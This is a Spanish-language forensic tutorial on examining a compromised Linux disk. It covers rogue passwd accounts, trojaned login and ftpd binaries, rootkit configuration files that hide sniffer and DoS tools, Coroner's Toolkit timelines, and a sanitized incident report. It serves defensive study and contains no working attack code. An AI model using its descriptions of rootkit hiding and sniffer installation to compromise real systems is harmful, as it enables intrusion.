Recuerde que si el disco era el único dispositivo IDE utilizado en el sistema, pueda posiblemente ser master en el primer controlador o /dev/hda. Por eso el fichero fstab los muestra de tal forma, y no como /dev/hdd como aparecen en nuestro sistema de análisis. Por lo tanto para que podamos montar la partición /home necesitamos utilizar /dev/hdd4.
Ejemplo:

```
# umount /mnt
# mount -r /dev/hdd4 /mnt
# ls -lat /mnt
total 21
drwx------ 47 user1 user1 3072 Apr 28 11:52 user1
drwx------ 10 user3 user3 1024 Dec 3 14:19 user3
drwx------ 4 user2 user2 1024 Oct 14 1999 user2
```

drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+found

drwxr-xr-x 2 root nobody 1024 Apr 15 1999 samba

drwxr-xr-x 5 root root 1024 Apr 7 1999 httpd

drwxr-xr-x 6 root root 1024 Mar 21 1999 ftp

drwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la partición /home montado sobre /mnt. Vamos por ahora ignorar el contenido de la partición /home, ya que ningún fichero de sistema operativo se encuentra allí. En futuro podemos examinar su contenido para detectar algún indicio de back-door, como aplicaciones setuid/setgid, ficheros .rhosts, comandos añadidos a los ficheros de inicialización de shell (.cshrc, .bashrc, etc.) que pueden enviar una copia de fichero que contiene passwords a una dirección, borrar fichero, similares...

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar.

Ejemplo:

umount /mnt

mount -r /dev/hdd2 /mnt

Primero, verifiquemos que es lo que contiene el fichero /etc/passwd para ver que UID/GIDs hay dentro. Este fichero debe ser copiado y utilizado con la aplicación mactime del suite de herramientas The Coroner's Toolkit [13]. La aplicación nos mostrará el mapeo correcto de UIDs y GIDs.

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquí:

less /mnt/etc/passwd

. . .

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:

daemon:x:2:2:daemon:/sbin:

adm:x:3:4:adm:/var/adm:

lp:x:4:7:lp:/var/spool/lpd:

sync:x:5:0:sync:/sbin:/bin/sync

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

z:x:0:0::/:/bin/bash

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:

news:x:9:13:news:/var/spool/news:

uucp:x:10:14:uucp:/var/spool/uucp:

operator:x:11:0:operator:/root:

r00t:x:598:500:::/bin/bash

games:x:12:100:games:/usr/games:

y:x:900:100::/tmp:/bin/bash

gopher:x:13:30:gopher:/usr/lib/gopher-data:

ftp:x:14:50:FTP User:/home/ftp:

nobody:x:99:99:Nobody:/:

gdm:x:42:42::/home/gdm:/bin/bash

xfs:x:100:233:X Font Server:/etc/X11/fs:/bin/false

user1:x:500:500:User 1:/home/user1:/bin/tcsh

user2:x:501:501:User 2:/home/user2:/bin/tcsh

user3:x:502:502:User 3:/home/user3:/bin/tcsh

named:x:25:25:Named:/var/named:/bin/false

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen números UID elevados y sin orden aparente, por ejemplo "r00t", "y" (que por cierto tiene asignado como $HOME el directorio /tmp). Un fichero de passwd legítimo y creado por el sistema, normalmente sigue un patrón secuencial de asignación de UID's. Mientras aquí anotamos que las cuentas con UIDs de orden bajo como reciente mente añadidos "named" con UID 25 y "z" con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posición. Hemos tomado nota para volver luego y investigar más en detalle. Intente de forma opcional extraer las contraseñas de esos usuarios en formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contraseña en la máquina atacada y en suya propia). También apunte algunas conclusiones a las que hemos llegado ahora:

1. Creación de cuentas es una acción frecuente, y creadas de tal manera como hemos visto anteriormente muestran un nivel de conocimientos bajo del intruso.

2. También podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones de seguridad rutinarias y no temen ser descubiertos.

3. Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre, las elimine y asume que el sistema está seguro, mientras que hay múltiples puertas traseras instaladas que permiten compromiso root de la máquina.

4. Como normalmente las cuentas se crean de forma secuencial en el fichero /etc/passwd, puede que el administrador (o alguien más?!) haya instalado named en el sistema, de forma reciente (o el intruso haya instalado una versión de named vulnerable!?) .

Debe empezar a construir una línea de tiempo para anotar cuando han ocurrido los hechos, intentar trazar de forma inversa todos los acciones hasta el intento de entrada al sistema, y el punto de origen de entrada. Aprovechando todos los hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados para atacar a la máquina.

En este momento nos encontramos en la fase de observación, ahora estamos tomando notas de lo que pasó, hemos verificado que tenemos el contenido de disco duro intacto, disponemos de tres copias del disco duro y las estamos estudiando en modo solo lectura.

Desde aquí el análisis puede ser continuado usando herramientas comunes de Unix y/o herramientas especialmente diseñados para análisis forense. También debemos utilizar toda nuestra experiencia anterior y el sentido común.

8. Análisis con Herramientas Estándares de Unix

Asumiendo que nuestras herramientas de Unix están limpias de root-kit podemos seguir desde el punto donde lo dejamos en la sección anterior. Hemos notado que las dos cuentas "y" y "z" tienen el directorio "home" situado en en /tmp y en / respectivamente. Eso significa que debemos examinar de forma detenida estos directorios para detectar cualquier anomalía.

```
# ls -lat /mnt/tmp
  total 156
  drwxrwxrwt 6 root root 1024 May 1 04:03 .
  -r--r--r-- 1 root gdm 11 Apr 29 14:17 .X0-lock
  drwxrwxrwt 2 root gdm 1024 Apr 29 14:17 .X11-unix
  drwxrwxrwt 2 xfs xfs 1024 Apr 29 14:17 .font-unix
  drwxr-xr-x 25 y root 1024 Apr 28 23:47 ..
  drwx------ 2 user1 user1 1024 Apr 26 17:36 kfm-cache-500
  -rw-rw-r-- 1 user1 user1 12288 Apr 26 16:37 psdevtab
  drwxrwxrwt 2 root root 1024 Apr 21 11:12 .ICE-unix
  -rwx------ 1 root root 138520 Apr 20 20:15 .fileMFpmnk
```

El listado nos muestra que existe un fichero cuyo tamaño es superior al resto. También vemos que es el fichero más antiguo de la carpeta que pertenece al root. El nombre del fichero no estandarizado y posee derechos de ejecución. Debemos determinar de que tipo de fichero se trata. El programa file nos informa que el fichero misterioso es un binario ELF de 32-bit LSB ejecutable, Intel 80386, versión 1 (Linux), enlazado estáticamente, stripeado. Para ver cual es el objetivo del fichero examinamos el listado de cadenas de texto que contiene.

```
  # strings - /mnt/tmp/.fileMFpmnk
  /lib/ld-linux.so.2
  __gmon_start__
  libpam.so.0
  _DYNAMIC
  _GLOBAL_OFFSET_TABLE_
  pam_set_item
  free
  __ctype_tolower
  malloc
  strcmp
  pam_end
  pam_start
  . . .
  File
  Compressed
  Block
```

Stream

[nowhere yet]

ftpd

:aAvdlLiop:P:qQr:sSt:T:u:wWX

bad value for -u

option -%c requires an argument

unknown option -%c ignored

. . .

VirtualFTP Connect to: %s [%s]

banner

logfile

email

/var/log/xferlog

connection refused (server shut down) from %s

%s FTP server shut down -- please try again later.

lslong

/bin/ls -la

lsshort

lsplain

/bin/ls

greeting

full

terse

brief

%s FTP server (%s) ready.

%s FTP server ready.

FTP server ready.

. . .

FTP LOGIN REFUSED (already logged in as %s) FROM %s, %s

Already logged in.

/etc/ftphosts

FTP LOGIN REFUSED (name in %s) FROM %s, %s

anonymous

FTP LOGIN REFUSED (anonymous ftp denied on default server) FROM %s, %s

FTP LOGIN REFUSED (ftp in denied-uid) FROM %s, %s

/etc/ftpusers

. . .

Por lo que vemos, strings nos comenta que el binario es un servidor FTP, normalmente llamado ftpd ó in.ftpd. Puede ser que el fichero forma parte de un root-kit, o de un caballo de Troya. Los ficheros de configuración de este tipo de kits suelen normalmente encontrarse en el directorio /dev, entonces una búsqueda rápida en ese directorio podrá desvelar nos mucha información útil.

```
# cd /mnt/dev
# ls -lat | head -30
total 116
drwxr-xr-x 8 root root 34816 Apr 30 04:02 .
srw-rw-rw- 1 root root 0 Apr 30 04:02 log
crw------- 1 root root 4, 1 Apr 29 14:17 tty1
crw------- 1 root root 4, 2 Apr 29 14:17 tty2
crw------- 1 root root 4, 3 Apr 29 14:17 tty3
crw------- 1 root root 4, 4 Apr 29 14:17 tty4
crw------- 1 root root 4, 5 Apr 29 14:17 tty5
crw------- 1 root root 4, 6 Apr 29 14:17 tty6
srwxrwxrwx 1 root root 0 Apr 29 14:17 gpmctl
srw------- 1 root root 0 Apr 29 14:17 printer
crw-r--r-- 1 root root 1, 9 Apr 29 14:17 urandom
prw------- 1 root root 0 Apr 29 14:14 initctl
drwxr-xr-x 25 y root 1024 Apr 28 23:47 ..
crw-rw-rw- 1 root tty 3, 2 Apr 28 11:44 ttyp2
crw-rw-rw- 1 root tty 3, 0 Apr 28 11:43 ttyp0
crw-rw-rw- 1 root tty 3, 1 Apr 28 11:43 ttyp1
-rw-r--r-- 1 root root 18 Apr 27 22:58 ptyp
drwxr-xr-x 4 r00t root 1024 Apr 27 22:58 ...
crw-rw-rw- 1 root tty 3, 4 Apr 27 12:02 ttyp4
crw-rw-rw- 1 root tty 3, 3 Apr 27 11:56 ttyp3
crw------- 1 root root 5, 1 Apr 21 11:09 console
lrwxrwxrwx 1 root root 5 Apr 21 04:02 mouse -> psaux
drwxr-xr-x 2 root root 1024 Apr 20 15:21 rev0
-rw-r--r-- 1 root root 33 Apr 20 15:21 ptyr
lrwxrwxrwx 1 root root 9 Feb 28 02:23 isdnctrl -> isdnctrl0
lrwxrwxrwx 1 root root 5 Feb 28 02:23 nftape -> nrft0
lrwxrwxrwx 1 root root 3 Feb 28 02:23 fb -> fb0
lrwxrwxrwx 1 root root 15 Feb 28 02:23 fd -> ../proc/self/fd
lrwxrwxrwx 1 root root 4 Feb 28 02:23 ftape -> rft0
Broken pipe
```

De todos los ficheros que podemos ver en este directorio, nos llaman atención los archivos "ptyp" y "ptyr" que no son dispositivos comunes, ni directorios ni tampoco enlaces simbólicos, son ficheros de tipo ASCII text. También localizamos un directorio llamado "rev0" y una carpeta oculta "..." que pertenece al usuario r00t.

```
# less ptyr
. . .
sp.pl
slice
```

ssynk4

rev0

bc1

snif

Son ficheros de configuración de un caballo de Troya. El contenido muestra que ls ocultará ficheros o directorios sp.pl, slice (un cliente DoS), ssynk4 (cliente DoS), rev0, bc1, y snif (adivina que puede ser :).

Si estamos seguros que nuestro sistema no está "infectado" con un root-kit podemos utilizar las herramientas find y grep para identificar dónde se encuentran estos ficheros (el disco está montado como solo lectura, nodev, ¿verdad?).

```
# cd /mnt
# find . -ls | grep -f etc/ptyr
  282058 1 drwxr-xr-x 2 root root 1024 Apr 20 15:21 ./dev/rev0
  282059 1 -rw-r--r-- 1 root root 5 Apr 20 15:21 ./dev/rev0/sniff.pid
  282061 20 -rw-r--r-- 1 root root 19654 Apr 20 20:23 ./dev/rev0/tcp.log
  164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 ./dev/rev0/slice
  164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 ./dev/rev0/smurf4
  164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 ./dev/rev0/snif
  164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 ./dev/rev0/sp.pl
  164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 ./dev/.../blitznet/slice2
  61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 ./usr/bin/sliceprint
  255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 ./usr/include/python1.5/sliceobject.h
```

Algunos de los ficheros que están en la lista posiblemente son ficheros legítimos del sistema operativo, pero hay algunos que son bastante sospechosos, los que se encuentran en dos carpetas del directorio /dev.

```
# cd /mnt/dev
# less ptyp
. . .
3 egg
3 egg
3 bnc
```

En este momento podemos hacer una apuesta seguro, que el fichero "ptyp" es un fichero de configuración de la utilidad "ps" del root-kit, que oculta los procesos que contienen cadenas "egg", "bnc" en sus nombres. Hay que encontrar binarios ejecutables con estos nombres.

```
# cd /mnt/dev
# ls -lR ...
...:
total 2699
drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet
-rw-r--r-- 1 root root 30720 Apr 26 04:07 blitznet.tar
-rwxrw-r-- 1 r00t user1 22360 Apr 27 22:58 bnc
-rw-r--r-- 1 900 users 2693120 Apr 20 22:18 collision.tar
```

```
  -rw-rw-r-- 1 r00t user1 976 Apr 27 22:58 example.conf
  -rw-rw-r-- 1 user1 user1 5 Apr 28 20:35 pid.bnc
.../blitznet:
  total 22
  -rw-r--r-- 1 root 1000 3450 Aug 10 1999 README
  -rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitz.c
  -rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzd.c
  -rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rush.tcl
  -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2
# ls -lR rev0
  rev0:
  total 51
  -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice
  -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4
  -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif
  -rw-r--r-- 1 root root 5 Apr 20 15:21 sniff.pid
  -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sp.pl
  -rw-r--r-- 1 root root 19654 Apr 20 20:23 tcp.log
# cd /mnt/usr/bin
  # ls -lat | head
  total 89379
  drwxr-xr-x 6 root root 27648 Apr 21 04:01 .
  -rwsr-xr-x 1 root root 20164 Apr 15 19:23 chx
  lrwxrwxrwx 1 root root 8 Feb 28 02:28 netscape-navigator -> netscape
  drwxrwxr-x 2 news news 1024 Feb 28 02:25 rnews.libexec
  drwxrwxr-x 2 news news 1024 Feb 28 02:25 control
  drwxrwxr-x 2 news news 1024 Feb 28 02:25 filter
  lrwxrwxrwx 1 root root 4 Dec 30 13:06 elatex -> etex
  lrwxrwxrwx 1 root root 5 Dec 30 13:06 lambda -> omega
  lrwxrwxrwx 1 root root 3 Dec 30 13:06 latex -> tex
  Broken pipe
# strings - chx
  /lib/ld-linux.so.2
  __gmon_start__
  libcrypt.so.1
  libpam.so.0
  . . .
  /var/log/btmp
  /usr/share/locale
  util-linux
  fh:p
```

login: -h for super-user only.
usage: login [-fp] [username]
/dev/tty
%s??
/dev/vcs
/dev/vcsa
login
login: PAM Failure, aborting: %s
Couldn't initialize PAM: %s
FAILED LOGIN %d FROM %s FOR %s, %s
Login incorrect
TOO MANY LOGIN TRIES (%d) FROM %s FOR %s, %s
FAILED LOGIN SESSION FROM %s FOR %s, %s
Login incorrect
.hushlogin
%s/%s
/var/run/utmp
/var/log/wtmp
/bin/sh
TERM
dumb
HOME
/usr/local/bin:/bin:/usr/bin
PATH
/sbin:/bin:/usr/sbin:/usr/bin
SHELL
/var/spool/mail
MAIL
LOGNAME
DIALUP AT %s BY %s
ROOT LOGIN ON %s FROM %s
ROOT LOGIN ON %s
LOGIN ON %s BY %s FROM %s
LOGIN ON %s BY %s
You have %smail.
new
login: failure forking: %s
setuid() failed
No directory %s!
Logging in with home = "/".
login: no memory for shell script.

exec

login: couldn't exec shell script: %s.

login: no shell: %s.

%s login:

login name much too long.

NAME too long

login names may not start with '-'.

too many bare linefeeds.

EXCESSIVE linefeeds

Login timed out after %d seconds

/etc/securetty

/etc/motd

/var/log/lastlog

Last login: %.*s

from %.*s

on %.*s

LOGIN FAILURE FROM %s, %s

LOGIN FAILURE ON %s, %s

%d LOGIN FAILURES FROM %s, %s

%d LOGIN FAILURES ON %s, %s

. . .

El programa nos muestra los mensajes del sistema mencionando el fichero ".hushlogin". Todos los indicios apuntan que el binario es una versión modificada de de la aplicación login. Siempre Los binarios siempre incluyen información de objetos compilados y enlazados, salvo que estén stripeados. Si está presente esa información podemos examinarla con la utilidad nm.

```
# nm chx
chx: no symbols
```

En este caso estamos seguros que el fichero está stripeado. También podemos aprender bastante de lo que nos muestran los enlaces a las librerías dinámicas. Para verlo utilicemos ldd.

```
# ldd chx
libcrypt.so.1 => /lib/libcrypt.so.1 (0x40018000)
libpam.so.0 => /lib/libpam.so.0 (0x40045000)
libdl.so.2 => /lib/libdl.so.2 (0x4004d000)
libpam_misc.so.0 => /lib/libpam_misc.so.0 (0x40050000)
libc.so.6 => /lib/libc.so.6 (0x40054000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
```

E binario depende del módulo PAM y de las librerías criptográficas. Entonces, el binario efectúa algunas tareas de autenticación de usuarios. El binario parece ser el /bin/login modificado que pertenece a algún caballo de Troya.

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios. El ejemplo anterior nos ha probado que utilizando herramientas básicas podemos reunir bastante información.

En caso de que no sea tan sencillo, se deberá utilizar herramientas más complejas y eficaces. Para ver algún ejemplo complejo podemos ver referencias [14, 15].

9. The Coroner's Toolkit

The Coroner's Toolkit (o el "TCT") es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para un curso organizado por IBM sobre un estudio forense de equipos comprometidos.

Las aplicaciones más importantes del suite son:

* grave-robber - Una utilidad para capturar información sobre i-nodes, para luego pueda ser procesada por el programa mactime del mismo toolkit.

* unrm y lazarus - Herramientas para la recuperación de archivos borrados (logs, RAM, swap, etc.). Estas aplicaciones identifican y recuperan la información oculta en los sectores del disco duro.

* mactime - El programa para visualizar los ficheros/directorios su timestamp MAC (Modification, Access, y Change).

De todas esas herramientas, las más útiles y interesantes son grave-robber y mactime. unrm y lazarus son buenas si se tiene mucho tiempo y espacio libre en el disco, ya que el programa necesita identificar información en los sectores del disco para recuperar los ficheros (logs, fuentes, etc..) borrados por los intrusos.

La función más básica de grave-robber es de escanear algunas o todas sistemas de ficheros con función stat() para obtener información de los i-nodes. Grave-robber crea en la carpeta /data un directorio llamado como el nombre del host de la máquina y allí almacena los inodes, dentro del fichero body. El programa mactime luego ordena los resultados y los muestra: según el tiempo, cual de los tres timestamps corresponde, muestra el tipo de fichero, tamaño y a quién pertenece junto con el path.

Desde el listado, podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intruso/los intrusos durante el tiempo que estuvieron dentro del sistema. Eso puede incluir instalación de caballos de Troya, backdoors, sustitución de ficheros legítimos del sistema operativo, descarga de herramientas, modificación de las librerías del sistema o instalación de rpm's/deb's/pkg's etc... También podemos ver desde aquí la creación de directorios ocultos, ejecución de los comandos de sistema operativo, compilación y ejecución de aplicaciones. Toda esa información que nunca se almacena de forma directa, puede ser extraída de la información que da mactime.

10. Usando TCT

Ahora, paso por paso, intentaremos instalar la aplicación The Coroners Toolkit, que nos servirá para recoger la información sobre el sistema de ficheros y analizarla. La herramienta no es un ejecutable que realiza todas las tareas, sino es una colección de utilidades diseñadas para efectuar una tarea determinada, siendo importante entender el funcionamiento de cada una de ellas para poder entender la función del toolkit en su totalidad.

* El primer paso es de desempaquetar el archivo tct-1.09.tar.gz y copiarlo al directorio /usr/local/tct-1.09, luego debemos leer detenidamente el fichero de instrucciones de instalación INSTALL.

La instalación de la aplicación debe ser realizada en una partición donde haya mucho espacio ya que algunas aplicaciones suelen generar una cantidad grande de información de salida por ejemplo unrm y lazarus.

* Ahora reconfiguremos los scripts utilizando perl reconfig, ya que TCT utiliza rutas completas.

* Limpiamos bien la distribución con un make clean; make all.

* Leemos documentación del directorio docs/ para conocer los detalles de funcionamiento del Toolkit.

```
# ls -l docs
  total 34
  -rw-r--r-- 1 root root 8572 Mar 28 12:41 README
  -rw-r--r-- 1 root root 7162 Mar 28 12:39 grave-robber.README
  -rw-r--r-- 1 root root 13944 Jan 16 13:34 lazarus.README
  -rw-r--r-- 1 root root 2830 Mar 27 15:07 mac.README
```

* Montamos la partición que debemos analizar en modo solo lectura y nodev, bajo algún punto de montura.

```
# mount -r /dev/hdd2 /mnt
```

* Suponiendo que siendo root arrancamos la aplicación grave-robber para que empiece a analizar el sistema de ficheros y procesos y guardar los datos de los inodes en el fichero data/activalink.com/base y data/activalink.com/base.S (binarios sUID), el estado del sistema en el directorio data/activalink.com/command_out/ etc...

```
# bin/grave-robber -m /mnt
```

Grave-robber, inicialmente realizará un análisis de todas las carpetas que están en el $PATH y a continuación empezará a analizar la partición montada /mnt. El análisis suele tardar bastante tiempo, según el tamaño de la partición que queremos analizar. Aparte de los inodes se guarda el estado general del sistema, es decir el output de las herramientas de monitorización del sistema como ps, top, w etc.

* Una vez terminado el trabajo del grave-robber, copiamos los ficheros passwd y group del sistema comprometido al directorio tct-1.09/ para que los tengamos a mano ya que en breve estaremos analizándolos. Para que se pueda distinguirlos luego renombramos estos ficheros passwd.victim o utilicemos el nombre del host comprometido.

* Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que la actividad del intruso ha acabado hoy, pero no vamos a especificar hora). Necesitaremos pasar los resultados de ejecución de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad:

```
# bin/mactime -p passwd.victim -g group.victim /mnt 06/01/2000 > victim.mactime
```

En la utilidad mactime hubo un bug en las versiones anteriores que hacía que la aplicación no funcione correctamente si se utilizaba la opción -p. Entonces hacíamos un "work around", incorporando temporalmente el contenido del fichero /etc/passwd de la máquina víctima coincidir con él de nuestro sistema. En la versión actual este bug está solucionado.

* Hacemos una copia del fichero antes de empezar el análisis:

cp victim.mactime victim.mactime.evidence

* Entonces podemos empezar analizando el fichero victim.mactime.evidence. Usando el editor de texto favorito, empecemos a revisarlo y marcar la actividad sospechosa. Sugiero que pongamos los tags [MARK] para que luego con grep podamos localizar nuestros apuntes.

. . .

Feb 13 2000 01:10:50 50148 mca -rwxr-xr-x root root /x/dev/.

Feb 13 2000 01:10:52 564 m.c -rw-r--r-- root root /x/etc/profile

Feb 13 2000 01:11:00 5 mac -rw-r--r-- root root /x/lib/sp

18110 .a. -rw-r--r-- root root /x/lib/tp

[MARK]

Feb 13 2000 01:12:08 0 ..c -rw-r--r-- root root /x/dev/ttyag

25 ..c -rwxr-xr-x root root /x/dev/ttyfg

23 ..c -rwxr-xr-x root root /x/dev/ttypg

373176 ..c -rws--x--x root root /x/lib/...

8268 ..c -rwxr-xr-x root root /x/lib/go

20164 ..c -rwsr-xr-x root root /x/usr/bin/xcat

183780 ..c -rwxr-xr-x root root /x/usr/sbin/find

Feb 13 2000 01:30:00 8268 .a. -rwxr-xr-x root root /x/lib/go

Feb 14 2000 10:42:03 1166856 .a. -rw-r--r-- root root /x/var/log/boot.log

[MARK]

Feb 14 2000 10:45:35 18110 m.c -rw-r--r-- root root /x/lib/tp

Feb 14 2000 10:57:42 2998 m.c -rw-r--r-- root root /x/etc/inetd.conf~

Feb 14 2000 11:01:47 168 .a. -rw-rw-r-- root root /x/root/.saves-1380-dragon~

Feb 14 2000 11:18:38 160 m.c -rw-r--r-- root root /x/etc/hosts.allow.old

Feb 14 2000 11:18:55 347 m.c -rw-r--r-- root root /x/etc/hosts.deny.old

Feb 14 2000 11:19:08 8 m.c -rw-r--r-- root root /x/etc/hosts.deny

Feb 14 2000 11:22:53 168 m.c -rw-rw-r-- root root /x/root/.saves-1380-dragon~

Feb 14 2000 11:30:30 2998 .a. -rw-r--r-- root root /x/etc/inetd.conf~

[MARK]

Feb 14 2000 11:31:25 20164 .a. -rwsr-xr-x root root /x/usr/bin/xcat

Feb 14 2000 11:34:10 868 m.c -rwxr-xr-x root root /x/etc/rc.d/rc.local

. . .

* Después de repasar todo el listado de cambios históricos, puede que tengamos alguna pista para seguir o puede que no. En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromiso, intentándolo de nuevo, o mirar más detenidamente. Durante el examen del documento se prohibe distraerse ya que la concentración es muy importante en este momento.

* Otra opción es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa strings. Las dos utilidades unrm y lazarus generan muchísima información y debemos tener bastante espacio libre en la partición. Podemos determinar la cantidad de espacio en disco duro que necesitamos, calculando de forma aproximada a partir del informe de df.

```
# df /mnt
  Filesystem 1k-blocks Used Available Use% Mounted on
  /dev/hdb2 3028881 1604551 1267697 56% /mnt
```

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar, que significa que unrm puede llegar a generar aproximadamente 1.2 Gb de información. Encontremos una partición libre y almacenemos allí el dump (Importante: en el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de análisis):

```
# bin/unrm /dev/hdb2 > /data/victim.hda2.unrm
```

* Pero si disponemos de más espacio (más de 1.2Gb) y mucho más tiempo para practicar con lazarus que procesará el espacio libre en el disco duro y intentará recuperar ficheros por sus tipos. lazarus genera una salida en formato HTML, que nos va a dar la oportunidad de verla a través del navegador.

11. Ejemplo de Informe de Pruebas Encontradas

Ahora vamos a examinar un informe completo de actividad del/los intrusos en el sistema. El informe fue obtenido tras analizar los ficheros log de los sniffers, intentos de acceso, timestamps en el sistema de ficheros y el contenido de las particiones de varios sistemas involucrados en el incidente. Es un informe real, sólo que está omitida la información que identifica el sistema atacado.

A continuación es un informe de análisis de la partición root del sistema XXX.XXX.XXX.XXX, la información aparece tal como fue encontrada después de poner el disco off-line, una vez descubierto el compromiso, por sospecha de tener ejecutándose un sniffer. Una copia de sistema de ficheros está disponible en formato tar.gz en el cdrom ISO 9660 CD-R.

La máquina XXX.XXX.XXX.XXX fue una de las 19 sospechosas de estar comprometida por el mismo grupo de intrusos alrededor de XX-XX-XXXX, utilizando Linux mountd buffer overflow bug documentado en el CERT Advisory CA-98.12: http://www.cert.org/advisories/CA-98.12.mountd.html.

El disco duro fue analizado utilizando herramientas creadas por Dan Farmer y Wietse Venema llamadas "Coroner's Toolkit" (http://www.fish.com/security/forensics.html). En el sistema de análisis el disco aparece como dispositivo /dev/hdc. La primera partición, /dev/hdc1 fue montada en modo solo lectura bajo el punto de montura "/x". Como resultado de ello todas las rutas serán precedidas por esa cadena. La geometría del disco duro es la siguiente:

Disk /dev/hdc: 32 heads, 63 sectors, 825 cylinders

Units = cylinders of 2016 * 512 bytes

Device Boot Start End Blocks Id System

/dev/hdc1 1 793 799312+ 83 Linux

/dev/hdc2 794 825 32256 82 Linux swap

Como la mayoría de los accesos al servidor empezaron el día XX del XXX, la fecha previa del análisis forense fue tomada como 01 XXX. No se observan huellas obvias de modificación/instalación de ficheros que indica que el sistema fue accedido entre XXX 01 y XXX 04. El día XXX 04, ha sido modificado el demonio "r" de Berkeley ("in.rlogind").

XXX 04 XX 23:42:21 23421 m.. -rwxr-xr-x root root /x/usr/sbin/in.rlogind

---

El examen del contenido del fichero a través de la utilidad strings, muestra que es un caballo de Troya que contiene los mismos strings que han sido encontrados en los ficheros del grupo "XXXXXXX"

. . .

rlogind

ahLln

XXXXXXXX

Can't get peer name of remote host: %m

Can't get peer name of remote host

setsockopt (SO_KEEPALIVE): %m

setsockopt (IP_TOS): %m

hname != NULL

rlogind.c

. . .

Pasados ocho días, se observa una modificación en el demonio y ejecución de chown.

XXX 12 XX 11:04:10 23421 ..c -rwxr-xr-x root root /x/usr/sbin/in.rlogind

XXX 12 XX 11:04:11 8156 .a. -rwxr-xr-x root bin /x/bin/chown

Pasada media hora el fichero fuente "linsniff.c" se copia en un directorio oculto bajo /etc. El directorio se llama "/etc/.. " (punto-punto-espacio-espacio-espacio, lo que nosotros convertiremos en "/etc/..___" para ver más claramente el directorio en los listados. El programa luego se compila. Vemos que los ficheros de cabeceras que tienen que ver con las funciones de red han sido accedidos, y el binario se mueve al "/usr/sbin/telnetd".

Después de cuatro minutos se produce un acceso a través del protocolo FTP (observando el acceso al wu.ftpd y su fichero id de proceso).

XXX 12 XX 11:36:59 5127 m.c -rw-r--r-- root root /x/etc/..___/linsniff.c

XXX 12 XX 11:37:08 4967 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if.h

3143 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if_arp.h

3145 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/if_ether.h

1910 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/ip.h

2234 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/route.h

1381 .a. -rw-r--r-- root root /x/usr/src/linuxelf-1.2.13/include/linux/tcp.h

XXX 12 XX 11:37:10 2048 ..c drwxr-xr-x root bin /x/usr/sbin

XXX 12 XX 11:37:14 2048 m.. drwxr-xr-x root bin /x/usr/sbin

XXX 12 XX 11:37:15 8179 m.c -rwxr-xr-x root root /x/usr/sbin/telnetd

XXX 12 XX 11:37:48 8179 .a. -rwxr-xr-x root root /x/usr/sbin/telnetd

XXX 12 XX 11:41:52 77476 .a. -rwxr-xr-x root bin /x/usr/sbin/wu.ftpd

XXX 12 XX 11:42:08 4096 mac -rw-r--r-- root root /x/var/pid/ftp.pids-remote

---

Esa actividad se confirma recuperando el fichero eliminado de log desde la partición root:

XXX 12 11:33:05 XXXX in.telnetd[1290]: connect from AAAAAA.XXXXXX.XXX

XXX 12 11:33:16 XXXX login: 1 LOGIN FAILURE FROM AAAAAA.XXXXXX.XXX, XXX

XXX 12 11:33:21 XXXX login: 2 LOGIN FAILURES FROM AAAAAA.XXXXXX.XXX, XXX

. . .

XXX 12 11:34:02 XXXX su: XXXXX on /dev/ttyp1

XXX 12 11:41:52 XXXX wu.ftpd[1327]: connect from BBBBBBB.XXXXXX.XXX

XXX 12 11:41:57 XXXX ftpd[1327]: USER XXXXX

XXX 12 11:41:59 XXXX ftpd[1327]: PASS password

XXX 12 11:42:00 XXXX ftpd[1327]: SYST

XXX 12 11:42:01 XXXX ftpd[1327]: CWD /tmp

XXX 12 11:42:06 XXXX ftpd[1327]: TYPE Image

XXX 12 11:42:06 XXXX ftpd[1327]: PORT

XXX 12 11:42:06 XXXX ftpd[1327]: STOR mountd

XXX 12 11:42:08 XXXX ftpd[1327]: QUIT

XXX 12 11:42:08 XXXX ftpd[1327]: FTP session closed

